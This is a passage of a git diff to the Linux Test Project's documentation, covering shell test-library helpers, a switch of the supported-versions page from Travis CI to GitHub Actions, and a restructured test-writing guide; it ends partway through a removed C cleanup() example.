+time limit use 'TST_RETRY_FN_EXP_BACKOFF()'. Both methods return the value
+returned by the last 'FUNC' call.
+
+The delay between retries starts at 1 microsecond and doubles after each call.
+The retry loop ends when the function call succeeds or when the next delay
+exceeds the specified time (1 second for 'TST_RETRY_FUNC()'). The maximum
+delay is multiplied by TST_TIMEOUT_MUL. The total cumulative delay may be up
+to twice as long as the adjusted maximum delay.
+
+The C version of 'TST_RETRY_FUNC()' is a macro which takes two arguments:
+
+* 'FUNC' is the complete function call with arguments which should be retried
+  multiple times.
+* 'SUCCESS_CHECK' is a macro or function which will validate 'FUNC' return
+  value. 'FUNC' call was successful if 'SUCCESS_CHECK(ret)' evaluates to
+  non-zero.
+
+Both retry methods clear 'errno' before every 'FUNC' call so your
+'SUCCESS_CHECK' can look for specific error codes as well. The LTP library
+also includes predefined 'SUCCESS_CHECK' macros for the most common call
+conventions:
+
+* 'TST_RETVAL_EQ0()' - The call was successful if 'FUNC' returned 0 or NULL
+* 'TST_RETVAL_NOTNULL()' - The call was successful if 'FUNC' returned any
+  value other than 0 or NULL.
+* 'TST_RETVAL_GE0()' - The call was successful if 'FUNC' returned value >= 0.
+
+[source,c]
+-------------------------------------------------------------------------------
+/* Keep trying for 1 second */
+TST_RETRY_FUNC(FUNC, SUCCESS_CHECK)
+
+/* Keep trying for up to 2*N seconds */
+TST_RETRY_FN_EXP_BACKOFF(FUNC, SUCCESS_CHECK, N)
+-------------------------------------------------------------------------------
+
+The shell version of 'TST_RETRY_FUNC()' is simpler and takes slightly
+different arguments:
+
+* 'FUNC' is a string containing the complete function or program call with
+  arguments.
+* 'EXPECTED_RET' is a single expected return value. 'FUNC' call was successful
+  if the return value is equal to EXPECTED_RET.
+
+[source,sh]
+-------------------------------------------------------------------------------
+# Keep trying for 1 second
+TST_RETRY_FUNC "FUNC arg1 arg2 ..." "EXPECTED_RET"
+
+# Keep trying for up to 2*N seconds
+TST_RETRY_FN_EXP_BACKOFF "FUNC arg1 arg2 ..." "EXPECTED_RET" "N"
+-------------------------------------------------------------------------------
+
+Checking for integers
++++++++++++++++++++++
+
+[source,sh]
+-------------------------------------------------------------------------------
+# returns zero if passed an integer parameter, non-zero otherwise
+tst_is_int "$FOO"
+-------------------------------------------------------------------------------
+
+Checking for integers and floating point numbers
+++++++++++++++++++++++++++++++++++++++++++++++++
+
+[source,sh]
+-------------------------------------------------------------------------------
+# returns zero if passed an integer or floating point number parameter,
+# non-zero otherwise
+tst_is_num "$FOO"
+-------------------------------------------------------------------------------
+
+Obtaining random numbers
+++++++++++++++++++++++++
+
+There is no '$RANDOM' in portable shell, use 'tst_random' instead.
+
+[source,sh]
+-------------------------------------------------------------------------------
+# get random integer between 0 and 1000 (including 0 and 1000)
+tst_random 0 1000
+-------------------------------------------------------------------------------
+
+Formatting device with a filesystem
++++++++++++++++++++++++++++++++++++
+
+'TST_FORMAT_DEVICE=1' can be used to format device before running the test.
+Uses '$TST_FS_TYPE' (by default ext2), '$TST_DEVICE' a block device to be
+formatted, usually prepared by the library (TST_NEEDS_DEVICE=1 must be set).
+'$TST_DEV_FS_OPTS' a 'mkfs' options _before_ the device path and
+'$TST_DEV_EXTRA_OPTS' extra 'mkfs'' options _after_ the device path.
+
+[source,sh]
+-------------------------------------------------------------------------------
+TST_FORMAT_DEVICE=1
+TST_DEV_FS_OPTS="-b 1024 -O quota"
+TST_DEV_EXTRA_OPTS="5m"
+TST_TESTFUNC=test
+
+test()
+{
+	tst_res TPASS "device formatted"
+}
+-------------------------------------------------------------------------------
+
+[source,sh]
+-------------------------------------------------------------------------------
+# format test device with ext2
+tst_mkfs ext2 $TST_DEVICE
+# default params are $TST_FS_TYPE $TST_DEVICE
+tst_mkfs
+# optional parameters
+tst_mkfs ext4 /dev/device -T largefile
+-------------------------------------------------------------------------------
+
+Mounting and unmounting filesystems
++++++++++++++++++++++++++++++++++++
+
+The 'tst_mount' and 'tst_umount' helpers are a safe way to mount/umount
+a filesystem.
+
+The 'tst_mount' mounts '$TST_DEVICE' of '$TST_FS_TYPE' (optional) to
+'$TST_MNTPOINT' (defaults to mntpoint), optionally using the
+'$TST_MNT_PARAMS'. The '$TST_MNTPOINT' directory is created if it didn't
+exist prior to the function call.
+
+If the path passed (optional, must be absolute path, defaults to '$TST_MNTPOINT')
+to the 'tst_umount' is not mounted (present in '/proc/mounts') it's noop.
+Otherwise it retries to umount the filesystem a few times on failure.
+This is a workaround since there are daemons dumb enough to probe all newly
+mounted filesystems, and prevents them from being umounted shortly after they
+were mounted.
+
+ROD and ROD_SILENT
+++++++++++++++++++
+
+These functions supply the 'SAFE_MACROS' used in C although they work and are
+named differently.
+
+[source,sh]
+-------------------------------------------------------------------------------
+ROD_SILENT command arg1 arg2 ...
+
+# is shorthand for:
+
+command arg1 arg2 ... > /dev/null 2>&1
+if [ $? -ne 0 ]; then
+        tst_brk TBROK "..."
+fi
+
+
+ROD command arg1 arg2 ...
+
+# is shorthand for:
+
+ROD arg1 arg2 ...
+if [ $? -ne 0 ]; then
+        tst_brk TBROK "..."
+fi
+-------------------------------------------------------------------------------
+
+WARNING: Keep in mind that output redirection (to a file) happens in the
+         caller rather than in the ROD function and cannot be checked for
+         write errors by the ROD function.
+
+As a matter of a fact doing +ROD echo a > /proc/cpuinfo+ would work just fine
+since the 'ROD' function will only get the +echo a+ part that will run just
+fine.
+
+[source,sh]
+-------------------------------------------------------------------------------
+# Redirect output to a file with ROD
+ROD echo foo \> bar
+-------------------------------------------------------------------------------
+
+Note the '>' is escaped with '\', this causes that the '>' and filename are
+passed to the 'ROD' function as parameters and the 'ROD' function contains
+code to split '$@' on '>' and redirects the output to the file.
+
+EXPECT_PASS{,_BRK} and EXPECT_FAIL{,_BRK}
++++++++++++++++++++++++++++++++++++++++++
+
+[source,sh]
+-------------------------------------------------------------------------------
+EXPECT_PASS command arg1 arg2 ... [ \> file ]
+EXPECT_FAIL command arg1 arg2 ... [ \> file ]
+-------------------------------------------------------------------------------
+
+'EXPECT_PASS' calls 'tst_res TPASS' if the command exited with 0 exit code,
+and 'tst_res TFAIL' otherwise. 'EXPECT_FAIL' does vice versa.
+
+Output redirection rules are the same as for the 'ROD' function. In addition
+to that, 'EXPECT_FAIL' always redirects the command's stderr to '/dev/null'.
+
+There are also 'EXPECT_PASS_BRK' and 'EXPECT_FAIL_BRK', which works the same way
+except breaking a test when unexpected action happen.
+
+It's possible to detect whether expected value happened:
+[source,sh]
+-------------------------------------------------------------------------------
+if ! EXPECT_PASS command arg1 2\> /dev/null; then
+	continue
+fi
+-------------------------------------------------------------------------------
+
+tst_kvcmp
++++++++++
+
+This command compares the currently running kernel version given conditions
+with syntax similar to the shell test command.
+
+[source,sh]
+-------------------------------------------------------------------------------
+# Exit the test if kernel version is older or equal to 2.6.8
+if tst_kvcmp -le 2.6.8; then
+	tst_brk TCONF "Kernel newer than 2.6.8 is needed"
+fi
+
+# Exit the test if kernel is newer than 3.8 and older than 4.0.1
+if tst_kvcmp -gt 3.8 -a -lt 4.0.1; then
+	tst_brk TCONF "Kernel must be older than 3.8 or newer than 4.0.1"
+fi
+-------------------------------------------------------------------------------
+
+[options="header"]
+|=======================================================================
+| expression | description
+| -eq kver   | Returns true if kernel version is equal
+| -ne kver   | Returns true if kernel version is not equal
+| -gt kver   | Returns true if kernel version is greater
+| -ge kver   | Returns true if kernel version is greater or equal
+| -lt kver   | Returns true if kernel version is lesser
+| -le kver   | Returns true if kernel version is lesser or equal
+| -a         | Does logical and between two expressions
+| -o         | Does logical or between two expressions
+|=======================================================================
+
+The format for kernel version has to either be with one dot e.g. '2.6' or with
+two dots e.g. '4.8.1'.
+
+.tst_fs_has_free
+[source,sh]
+-------------------------------------------------------------------------------
+#!/bin/sh
+
+...
+
+# whether current directory has 100MB free space at least.
+if ! tst_fs_has_free . 100MB; then
+	tst_brkm TCONF "Not enough free space"
+fi
+
+...
+-------------------------------------------------------------------------------
+
+The 'tst_fs_has_free' shell interface returns 0 if the specified free space is
+satisfied, 1 if not, and 2 on error.
+
+The second argument supports suffixes kB, MB and GB, the default unit is Byte.
+
+.tst_retry
+[source,sh]
+-------------------------------------------------------------------------------
+#!/bin/sh
+
+...
+
+# Retry ping command three times
+tst_retry "ping -c 1 127.0.0.1"
+
+if [ $? -ne 0 ]; then
+	tst_resm TFAIL "Failed to ping 127.0.0.1"
+else
+	tst_resm TPASS "Successfully pinged 127.0.0.1"
+fi
+
+...
+-------------------------------------------------------------------------------
+
+The 'tst_retry' function allows you to retry a command after waiting small
+amount of time until it succeeds or until given amount of retries has been
+reached (default is three attempts).
+
+1.5 Restarting daemons
+~~~~~~~~~~~~~~~~~~~~~~
+
+Restarting system daemons is a complicated task for two reasons.
+
+* There are different init systems
+  (SysV init, systemd, etc...)
+
+* Daemon names are not unified between distributions
+  (apache vs httpd, cron vs crond, various syslog variations)
+
+To solve these problems LTP has 'testcases/lib/daemonlib.sh' library that
+provides functions to start/stop/query daemons as well as variables that store
+correct daemon name.
+
+.Supported operations
+|==============================================================================
+| start_daemon()   | Starts daemon, name is passed as first parameter.
+| stop_daemon()    | Stops daemon, name is passed as first parameter.
+| restart_daemon() | Restarts daemon, name is passed as first parameter.
+| status_daemon()  | Detect daemon status (exit code: 0: running, 1: not running).
+|==============================================================================
+
+.Variables with detected names
+|==============================================================================
+| CROND_DAEMON | Cron daemon name (cron, crond).
+| SYSLOG_DAEMON | Syslog daemon name (syslog, syslog-ng, rsyslog).
+|==============================================================================
+
+.Cron daemon restart example
+[source,sh]
+-------------------------------------------------------------------------------
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Cron daemon restart example
+
+TCID=cron01
+TST_COUNT=1
+. test.sh
+. daemonlib.sh
+
+...
+
+restart_daemon $CROND_DAEMON
+
+...
+
+tst_exit
+-------------------------------------------------------------------------------
+
+1.6 Access to the checkpoint interface
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+The shell library provides an implementation of the checkpoint interface
+compatible with the C version. All 'TST_CHECKPOINT_*' functions are available.
+
+In order to initialize checkpoints '$TST_NEEDS_CHECKPOINTS' must be set to '1'
+before the inclusion of 'tst_test.sh':
+
+[source,sh]
+-------------------------------------------------------------------------------
+#!/bin/sh
+
+TST_NEEDS_CHECKPOINTS=1
+. tst_test.sh
+-------------------------------------------------------------------------------
+
+Since both the implementations are compatible, it's also possible to start
+a child binary process from a shell test and synchronize with it. This process
+must have checkpoints initialized by calling 'tst_reinit()'.
+
+1.7 Parsing kernel .config
+~~~~~~~~~~~~~~~~~~~~~~~~~~
+The shell library provides an implementation of the kconfig parsing interface
+compatible with the C version.
+
+It's possible to pass kernel kconfig list for tst_require_kconfigs API with
+'$TST_NEEDS_KCONFIGS'.
+Optional '$TST_NEEDS_KCONFIGS_IFS' is used for splitting, default value is comma.
+
+-------------------------------------------------------------------------------
+#!/bin/sh
+TST_NEEDS_KCONFIGS="CONFIG_EXT4_FS, CONFIG_QUOTACTL=y"
+
+. tst_test.sh
+-------------------------------------------------------------------------------
diff --git a/doc/supported-kernel-libc-versions.txt b/doc/supported-kernel-libc-versions.txt
index 6575e20..2b5b9da 100644
--- a/doc/supported-kernel-libc-versions.txt
+++ b/doc/supported-kernel-libc-versions.txt
@@ -1,29 +1,29 @@
 Supported kernel, libc, toolchain versions
 ==========================================
 
-1. Build testing with Travis CI
--------------------------------
+1. Build testing with GitHub Actions
+------------------------------------
 
-We test master branch in https://travis-ci.org/github/linux-test-project/ltp/builds[travis CI]
+We test master branch in https://github.com/linux-test-project/ltp/actions[GitHub Actions]
 to ensure LTP builds on various distributions including old, current and bleeding edge.
 We test both gcc and clang toolchains, various architectures with cross-compilation.
 For list of tested distros see
-https://github.com/linux-test-project/ltp/blob/master/.travis.yml[.travis.yml].
+https://github.com/linux-test-project/ltp/blob/master/.github/workflows/ci.yml[.github/workflows/ci.yml].
 
 
-NOTE: Travis does only build testing, passing the CI means only that the
-      test compiles fine on variety of different distributions and releases.
-      Travis also uses the latest distribution image of a particular release.
+NOTE: GitHub Actions does only build testing, passing the CI means only that
+      the test compiles fine on variety of different distributions and releases.
+      GitHub Actions also uses the latest distribution image of a particular release.
 
 1.1 Oldest tested distributions
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 [align="center",options="header"]
 |==============================================================
-| Distro                       | kernel | glibc | gcc   | clang
-| CentOS 7                     | 3.10   | 2.17  | 4.8.5 | -
-| Ubuntu 16.04 LTS xenial      | 4.4    | 2.23  | 5.3.1 | -
-| Debian 9 stretch (oldstable) | 4.9.30 | 2.24  | 6.3.0 | 3.8
+| Distro                       | kernel  | glibc | gcc   | clang
+| CentOS 7                     | 3.10    | 2.17  | 4.8.5 | -
+| Ubuntu 18.04 LTS bionic      | 4.15    | 2.27  | 7.3.0 | -
+| Debian 10 oldstable (buster) | 4.19.37 | 2.28  | 8.3.0 | 7.0
 |==============================================================
 
 Older distributions are not officially supported, which means that it
@@ -61,6 +61,6 @@
 | https://uclibc-ng.org/[uClibc-ng] | Although not being tested it should work as well as it attempt to maintain a glibc compatible interface.
 | https://www.uclibc.org/[uClibc]   | Older https://www.uclibc.org/[uClibc] might have problems.
 | https://musl.libc.org/[musl] | Not yet fully supported (see
-                                 https://github.com/linux-test-project/ltp/blob/master/travis/alpine.sh[travis script]
+                                 https://github.com/linux-test-project/ltp/blob/master/ci/alpine.sh[CI script]
                                  for list of files which need to be deleted in order to compile under musl).
 | binder (Android) | Please use https://android.googlesource.com/platform/external/ltp/[AOSP fork].
diff --git a/doc/test-writing-guidelines.txt b/doc/test-writing-guidelines.txt
index c268b88..552bbef 100644
--- a/doc/test-writing-guidelines.txt
+++ b/doc/test-writing-guidelines.txt
@@ -1,32 +1,110 @@
 LTP Test Writing Guidelines
 ===========================
 
-This document describes LTP guidelines and LTP test interface and is intended
-for anybody who want to write or modify a LTP testcase. It's not a definitive
-guide and it's not, by any means, a substitute for common sense.
+This document describes LTP guidelines and is intended for anybody who want to
+write or modify a LTP testcase. It's not a definitive guide and it's not, by
+any means, a substitute for common sense.
 
-1. General Rules
-----------------
+NOTE: See also
+      https://github.com/linux-test-project/ltp/wiki/C-Test-API[C Test API],
+      https://github.com/linux-test-project/ltp/wiki/Shell-Test-API[Shell Test API],
+      https://github.com/linux-test-project/ltp/wiki/LTP-Library-API-Writing-Guidelines[LTP Library API Writing Guidelines].
 
-1.1 Simplicity
-~~~~~~~~~~~~~~
+Rules and recommendations which are "machine checkable" should be
+tagged with an ID like +LTP-XXX+. There will be a corresponding entry
+in
+https://github.com/linux-test-project/ltp/tree/master/doc/rules.tsv[doc/rules.tsv]. When
+you run 'make check' or 'make check-test' it will display these IDs as
+a reference.
+
+1. Guide to clean and understandable code
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+For testcases it's required that the source code is as easy to follow as
+possible. When a test starts to fail the failure has to be analyzed, clean
+test codebase makes this task much easier and quicker.
+
+Here are some hints on how to write clean and understandable code, a few of
+these points are further discussed below:
+
+* First of all *Keep things simple*
+
+* Keep function and variable names short but descriptive
+
+* Keep functions reasonably short and focused on a single task
+
+* Do not overcomment
+
+* Be consistent
+
+* Avoid deep nesting
+
+* DRY
+
+1.1 Keep things simple
+~~~~~~~~~~~~~~~~~~~~~~
 
 For all it's worth keep the testcases simple or better as simple as possible.
+
 The kernel and libc are tricky beasts and the complexity imposed by their
 interfaces is quite high. Concentrate on the interface you want to test and
-follow the UNIX philosophy. It's a good idea to make the test as
-self-contained as possible too (it should not depend on tools or libraries
-that are not widely available).
+follow the UNIX philosophy.
+
+It's a good idea to make the test as self-contained as possible too, ideally
+tests should not depend on tools or libraries that are not widely available.
 
 Do not reinvent the wheel!
 
 * Use LTP standard interface
-* Do not add custom PASS/FAIL reporting functions
-* Do not write Makefiles from scratch,
-  use LTP build system instead, etc.
 
-1.2 Code duplication
-~~~~~~~~~~~~~~~~~~~~
+* Do not add custom PASS/FAIL reporting functions
+
+* Do not write Makefiles from scratch, use LTP build system instead
+
+* Etc.
+
+1.2 Keep functions and variable names short
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Choosing a good name for an API functions or even variables is a difficult
+task do not underestimate it.
+
+There are a couple of customary names for different things that help people to
+understand code, for example:
+
+* For loop variables are usually named with a single letter 'i', 'j', ...
+
+* File descriptors 'fd' or 'fd_foo'.
+
+* Number of bytes stored in file are usually named as 'size' or 'len'
+
+* Etc.
+
+1.3 Do not overcomment
+~~~~~~~~~~~~~~~~~~~~~~
+
+Comments can sometimes save you day but they can easily do more harm than
+good. There has been several cases where comments and actual implementation
+drifted slowly apart which yielded into API misuses and hard to find bugs.
+Remember there is only one thing worse than no documentation, wrong
+documentation.
+
+Ideally everybody should write code that is obvious, which unfortunately isn't
+always possible. If there is a code that requires to be commented keep it
+short and to the point. These comments should explain *why* and not *how*
+things are done.
+
+Never ever comment the obvious.
+
+In case of LTP testcases it's customary to add an asciidoc formatted comment
+paragraph with highlevel test description at the beginning of the file right
+under the GPL SPDX header. This helps other people to understand the overall
+goal of the test before they dive into the technical details. It's also
+exported into generated documentation hence it should mostly explain what is
+tested.
+
+1.4 DRY (Code duplication)
+~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 Copy & paste is a good servant but very poor master. If you are about to copy a
 large part of the code from one testcase to another, think what would happen if
@@ -37,32 +115,42 @@
 paste a syscall wrapper that packs arguments accordingly to machine
 architecture or similarly complicated code, put it into a header instead.
 
-1.3 Coding style
-~~~~~~~~~~~~~~~~
+2 Coding style
+~~~~~~~~~~~~~~
 
-1.3.1 C coding style
-^^^^^^^^^^^^^^^^^^^^
+2.1 C coding style
+^^^^^^^^^^^^^^^^^^
 
-LTP adopted Linux kernel coding style. If you aren't familiar with its rules
-locate 'linux/Documentation/CodingStyle' in the kernel sources and read it,
-it's a well written introduction.
+LTP adopted Linux kernel coding style:
+https://www.kernel.org/doc/html/latest/process/coding-style.html
 
-There is also
+If you aren't familiar with its rules please read it, it's a well written
+introduction.
+
+Run `make check` in the test's directory and/or use `make check-$TCID`,
+it uses (among other checks) our vendored version of
 https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/plain/scripts/checkpatch.pl[checkpatch.pl]
-script from kernel git tree which can be used to check your patches before the
-submission.  Please use reasonably recent one.
+script from kernel git tree.
 
-NOTE: If checkpatch.pl does not report any problems, the code still may be wrong
-      as the tool only looks for common mistakes.
+NOTE: If `make check` does not report any problems, the code still may be wrong
+      as all tools used for checking only look for common mistakes.
 
-1.3.2 Shell coding style
-^^^^^^^^^^^^^^^^^^^^^^^^
+2.1.1 LTP-004: Test executable symbols are marked static
+^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
+
+Test executables should not export symbols unnecessarily. This means
+that all top-level variables and functions should be marked with the
+static keyword. The only visible symbols should be those included from
+shared object files.
+
+2.2 Shell coding style
+^^^^^^^^^^^^^^^^^^^^^^
 
 When writing testcases in shell write in *portable shell* only, it's a good
 idea to try to run the test using alternative shell (alternative to bash, for
 example dash) too.
 
-*Portable shell* means Shell Command Language as defined by POSIX with a
+*Portable shell* means Shell Command Language as defined by POSIX with an
 exception of few widely used extensions, namely 'local' keyword used inside of
 functions and '-o' and '-a' test parameters (that are marked as obsolete in
 POSIX).
@@ -72,9 +160,13 @@
 it to run the tests. If your distribution lacks 'dash' package you can always
 compile it from http://gondor.apana.org.au/~herbert/dash/files/[source].
 
-Debian also has nice devscript
+Run `make check` in the test's directory and/or use `make check-$TCID.sh`,
+it uses (among other checks) our vendored version of
 https://salsa.debian.org/debian/devscripts/raw/master/scripts/checkbashisms.pl[checkbashism.pl]
-that can be used to check for non-portable shell code.
+from Debian, that is used to check for non-portable shell code.
+
+NOTE: If `make check` does not report any problems, the code still may be wrong
+      as `checkbashisms.pl` used for checking only looks for common mistakes.
 
 Here are some common sense style rules for shell
 
@@ -91,26 +183,8 @@
 
 * Be consistent
 
-1.4 Commenting code
-~~~~~~~~~~~~~~~~~~~
-
-Comments can sometimes save you day but they can easily do more harm than
-good. There has been several cases where comments and actual implementation
-were drifting slowly apart which yielded into API misuses and hard to find
-bugs. Remember there is only one thing worse than no documentation, wrong
-documentation.
-
-Generally everybody should write code that is obvious (which unfortunately
-isn't always possible). If there is a code that needs to be commented keep it
-short and to the point. Never ever comment the obvious.
-
-In case of LTP testcases it's customary to add a paragraph with highlevel test
-description somewhere at the beginning of the file (usually right under the GPL
-header). This helps other people to understand the overall goal of the test
-before they dive into the technical details.
-
-1.5 Backwards compatibility
-~~~~~~~~~~~~~~~~~~~~~~~~~~~
+3 Backwards compatibility
+~~~~~~~~~~~~~~~~~~~~~~~~~
 
 LTP test should be as backward compatible as possible. Think of an enterprise
 distributions with long term support (more than five years since the initial
@@ -119,48 +193,53 @@
 
 Therefore LTP test for more current features should be able to cope with older
 systems. It should at least compile fine and if it's not appropriate for the
-configuration it should return 'TCONF' (see test interface description below).
+configuration it should return 'TCONF'.
 
 There are several types of checks we use:
 
 The *configure script* is usually used to detect availability of a function
-declarations in system headers. It's used to disable tests at compile time.
-
-We also have runtime kernel version detection that can be used to disable
-tests at runtime.
+declarations in system headers. It's used to disable tests at compile time or
+to enable fallback definitions.
 
 Checking the *errno* value is another type of runtime check. Most of the
 syscalls returns either 'EINVAL' or 'ENOSYS' when syscall was not implemented
 or was disabled upon kernel compilation.
 
+LTP has kernel version detection that can be used to disable tests at runtime,
+unfortunately kernel version does not always corresponds to a well defined
+feature set as distributions tend to backport hundreds of patches while the
+kernel version stays the same. Use with caution.
+
+Lately we added kernel '.config' parser, a test can define a boolean
+expression of kernel config variables that has to be satisfied in order for a
+test to run. This is mostly used for kernel namespaces at the moment.
+
 Sometimes it also makes sense to define a few macros instead of creating
-configure test. One example are Linux specific POSIX clock ids in
+configure test. One example is Linux specific POSIX clock ids in
 'include/lapi/posix_clocks.h'.
 
-1.6 Dealing with messed up legacy code
+3.1 Dealing with messed up legacy code
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-LTP contains a lot of old and messy code and we are cleaning it up as fast as
-we can but despite the efforts there is still a lot. If you start modifying
-old or a messed up testcase and your changes are more complicated than simple
-typo fixes you should do a cleanup first (in a separate patch). It's easier to
-review the changes if you separate the formatting fixes from the changes that
-affects the test behavior.
+LTP still contains a lot of old and messy code and we are cleaning it up as
+fast as we can but despite the decade of efforts there is still a lot. If you
+start modifying old or a messy testcase and your changes are more complicated
+than simple typo fixes you should convert the test into a new library first.
 
-The same goes for moving files. If you need a rename or move file do it in a
-separate patch.
+It's also much easier to review the changes if you split them into a smaller
+logical groups. The same goes for moving files. If you need a rename or move
+file do it in a separate patch.
 
-1.7 License
-~~~~~~~~~~~
+4 License
+~~~~~~~~~
 
 Code contributed to LTP should be licensed under GPLv2+ (GNU GPL version 2 or
-any later version). Use `SPDX-License-Identifier: GPL-2.0-or-later`.
+any later version).
 
-2. Writing a testcase
----------------------
+Use `SPDX-License-Identifier: GPL-2.0-or-later`
 
-2.1 LTP Structure
-~~~~~~~~~~~~~~~~~
+5 LTP Structure
+~~~~~~~~~~~~~~~
 
 The structure of LTP is quite simple. Each test is a binary written either in
 portable shell or C. The test gets a configuration via environment variables
@@ -169,13 +248,14 @@
 
 Tests are generally placed under the 'testcases/' directory. Everything that
 is a syscall or (slightly confusingly) libc syscall wrapper goes under
-'testcases/kernel/syscalls/'. Then there is 'testcases/open_posix_testsuite'
-which is a well maintained fork of the upstream project that has been dead
-since 2005 and also a number of directories with tests for more specific
-features.
+'testcases/kernel/syscalls/'.
 
-2.1.1 Runtest Files
-^^^^^^^^^^^^^^^^^^^
+Then there is 'testcases/open_posix_testsuite/' which is a well maintained fork
+of the upstream project that has been dead since 2005 and also a number of
+directories with tests for more specific features.
+
+5.1 Runtest Files
+^^^^^^^^^^^^^^^^^
 
 The list of tests to be executed is stored in runtest files under the
 'runtest/' directory. The default set of runtest files to be executed is
@@ -190,8 +270,8 @@
            wrapper that runs all your tests and adding it as a single test
            into runtest file is strongly discouraged.
 
-2.1.2 Datafiles
-^^^^^^^^^^^^^^^
+5.2 Datafiles
+^^^^^^^^^^^^^
 
 If your test needs datafiles to work, these should be put into a subdirectory
 named 'datafiles' and installed into the 'testcases/data/$TCID' directory (to
@@ -221,10 +301,10 @@
 
 See 'testcases/commands/file/' for example.
 
-2.1.3 Subexecutables
-^^^^^^^^^^^^^^^^^^^^
+5.3 Subexecutables
+^^^^^^^^^^^^^^^^^^
 
-If you test needs to execute a binary, place it in the same directory as the
+If your test needs to execute a binary, place it in the same directory as the
 testcase and name the file starting with '${test_binary_name}_'.  Once the
 test is executed by the framework, the path to the directory with all LTP
 binaries is added to the '$PATH' and you can execute it just by its name.
@@ -232,2995 +312,20 @@
 TIP: If you need to execute such test from the LTP tree, you can add path to
      current directory to '$PATH' manually with: 'PATH="$PATH:$PWD" ./foo01'.
 
-2.2 Writing a test in C
-~~~~~~~~~~~~~~~~~~~~~~~
-
-2.2.1 Basic test structure
-^^^^^^^^^^^^^^^^^^^^^^^^^^
-
-Let's start with an example, following code is a simple test for a 'getenv()'.
-
-[source,c]
--------------------------------------------------------------------------------
-/*
- * This is test for basic functionality of getenv().
- *
- *  - create an env variable and verify that getenv() can get get it
- *  - call getenv() with nonexisting variable name, check that it returns NULL
- */
-
-#include "tst_test.h"
-
-#define ENV1 "LTP_TEST_ENV"
-#define ENV2 "LTP_TEST_THIS_DOES_NOT_EXIST"
-#define ENV_VAL "val"
-
-static void setup(void)
-{
-	if (setenv(ENV1, ENV_VAL, 1))
-		tst_brk(TBROK | TERRNO, "setenv() failed");
-}
-
-static void test(void)
-{
-	char *ret;
-
-	ret = getenv(ENV1);
-
-	if (!ret) {
-		tst_res(TFAIL, "getenv(" ENV1 ") = NULL");
-		goto next;
-	}
-
-	if (!strcmp(ret, ENV_VAL)) {
-		tst_res(TPASS, "getenv(" ENV1 ") = '"ENV_VAL "'");
-	} else {
-		tst_res(TFAIL, "getenv(" ENV1 ") = '%s', expected '"
-		               ENV_VAL "'", ret);
-	}
-
-next:
-	ret = getenv(ENV2);
-
-	if (ret)
-		tst_res(TFAIL, "getenv(" ENV2 ") = '%s'", ret);
-	else
-		tst_res(TPASS, "getenv(" ENV2 ") = NULL");
-}
-
-static struct tst_test test = {
-	.test_all = test,
-	.setup = setup,
-};
--------------------------------------------------------------------------------
-
-Each test includes the 'tst_test.h' header and must define the 'struct
-tst_test test' structure.
-
-The overall test initialization is done in the 'setup()' function.
-
-The overall cleanup is done in a 'cleanup()' function. Here 'cleanup()' is
-omitted as the test does not have anything to clean up. If cleanup is set in
-the test structure it's called on test exit just before the test library
-cleanup. That especially means that cleanup can be called at any point in a
-test execution. For example even when a test setup step has failed, therefore
-the 'cleanup()' function must be able to cope with unfinished initialization,
-and so on.
-
-The test itself is done in the 'test()' function. The test function must work
-fine if called in a loop.
-
-There are two types of a test function pointers in the test structure. The
-first one is a '.test_all' pointer that is used when test is implemented as a
-single function. Then there is a '.test' function along with the number of
-tests '.tcnt' that allows for more detailed result reporting. If the '.test'
-pointer is set the function is called '.tcnt' times with an integer parameter
-in range of [0, '.tcnt' - 1].
-
-IMPORTANT: Only one of '.test' and '.test_all' can be set at a time.
-
-Each test has a default timeout set to 300s. The default timeout can be
-overridden by setting '.timeout' in the test structure or by calling
-'tst_set_timeout()' in the test 'setup()'. There are a few testcases whose run
-time may vary arbitrarily, for these timeout can be disabled by setting it to
--1.
-
-Test can find out how much time (in seconds) is remaining to timeout,
-by calling 'tst_timeout_remaining()'.
-
-LAPI headers
-++++++++++++
-
-Use our LAPI headers ('include "lapi/foo.h"') to keep compatibility with old
-distributions. LAPI header should always include original header. Older linux
-headers were problematic, therefore we preferred to use libc headers. There are
-still some bugs when combining certain glibc headers with linux headers, see
-https://sourceware.org/glibc/wiki/Synchronizing_Headers.
-
-A word about the cleanup() callback
-+++++++++++++++++++++++++++++++++++
-
-There are a few rules that needs to be followed in order to write correct
-cleanup() callback.
-
-1. Free only resources that were initialized. Keep in mind that callback can
-   be executed at any point in the test run.
-
-2. Make sure to free resources in the reverse order they were
-   initialized. (Some of the steps may not depend on others and everything
-   will work if there were swapped but let's keep it in order.)
-
-The first rule may seem complicated at first however, on the contrary, it's
-quite easy. All you have to do is to keep track of what was already
-initialized. For example file descriptors needs to be closed only if they were
-assigned a valid file descriptor. For most of the things you need to create
-extra flag that is set right after successful initialization though. Consider,
-for example, test setup below.
-
-We also prefer cleaning up resources that would otherwise be released on the
-program exit. There are two main reasons for this decision. Resources such as
-file descriptors and mmaped memory could block umounting a block device in
-cases where the test library has mounted a filesystem for the test temporary
-directory. Not freeing allocated memory would upset static analysis and tools
-such as valgrind and produce false-positives when checking for leaks in the
-libc and other low level libraries.
-
-[source,c]
--------------------------------------------------------------------------------
-static int fd0, fd1, mount_flag;
-
-#define MNTPOINT "mntpoint"
-#define FILE1 "mntpoint/file1"
-#define FILE2 "mntpoint/file2"
-
-static void setup(void)
-{
-	SAFE_MKDIR(MNTPOINT, 0777);
-	SAFE_MKFS(tst_device->dev, tst_device->fs_type, NULL, NULL);
-	SAFE_MOUNT(tst_device->dev, MNTPOINT, tst_device->fs_type, 0, 0);
-	mount_flag = 1;
-
-	fd0 = SAFE_OPEN(cleanup, FILE1, O_CREAT | O_RDWR, 0666);
-	fd1 = SAFE_OPEN(cleanup, FILE2, O_CREAT | O_RDWR, 0666);
-}
--------------------------------------------------------------------------------
-
-In this case the 'cleanup()' function may be invoked when any of the 'SAFE_*'
-macros has failed and therefore must be able to work with unfinished
-initialization as well. Since global variables are initialized to zero we can
